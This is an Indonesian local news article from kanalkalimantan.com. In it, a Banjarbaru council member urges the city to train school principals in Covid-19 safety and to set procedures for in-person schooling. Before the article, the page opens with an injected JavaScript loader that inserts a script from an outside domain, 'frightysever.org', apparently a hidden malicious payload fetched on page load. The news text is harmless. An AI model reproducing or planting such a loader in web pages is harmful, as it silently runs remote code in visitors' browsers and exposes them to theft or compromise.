(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Anggota DPRD Banjarbaru Ahmad Nur Irsan Finazli meminta Pemerintah Kota (Pemko) Banjarbaru mengajarkan kepala sekolah mitigasi keselamatan mencegah Covid-19 selama Pembelajaran Tatap Muka (PTM).
“Disdik harus melakukan pelatihan mitigasi keselamatan terhadap pandemi Covid-19 kepada kepala sekolah selaku penanggungjawab satuan pendidikan,” ujar Finazli, Selasa (12/10/2021).
Ia mengatakan, kepala sekolah setelah itu menindaklanjutinya berkoordinasi dengan seluruh dewan guru maupun komite sekolah guna menyukseskan PTM yang kuncinya adalah kerja sama dan gotong royong.
Jangan sampai PTM yang mulai dilaksanakan terbatas dan bertahap di sekolah yang memenuhi syarat tercederai munculnya klaster baru karena tidak ada atau teledor dalam pengawasan prokes.
“Kami yakin dengan kerja sama dan semangat gotong royong, PTM berjalan aman dan lancar, terutama jika semuanya dilaksanakan secara benar dan taat prokes,” ujarnya.
Wakil Ketua Komisi I itu juga meminta Pemko membuat standar operasional prosedur (SOP) yang harus dipenuhi sekolah terkait PTM di masa pandemi mulai dari SOP ketika siswa di rumah.
Kemudian, SOP ketika kedatangan di sekolah, SOP ketika pembelajaran, dan SOP ketika kepulangan hingga keluar kelas bahkan sampai siswa sudah berada di rumah masing-masing saat bergaul dengan anggota keluarga.
“Hal itu sangat penting sehingga sekolah-sekolah yang melaksanakan PTM benar-benar dalam kontrol Disdik melalui para pengawas sekolah yang secara berkala mengawasi sekolah di Banjarbaru,” tegasnya.
Politisi PKS itu, pihaknya bersyukur karena SK Wali Kota terkait PTM sudah diterbitkan, selanjutnya diharapkan terus diperbaharui untuk sekolah lain yang lulus verifikasi sebagai prasyarat PTM.
Sejak Senin (11/10/2021) PTM terbatas dilaksanakan sekolah piloting di Banjarbaru dari total sekolah negeri maupun swasta 25 unit SMP dengan 11 ribu siswa, 91 unit SD 40 ribu murid dan TK PAUD 168 unit 25 ribu murid. (kanalkalimantan.com/al)
Reporter : al
Editor : bie
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.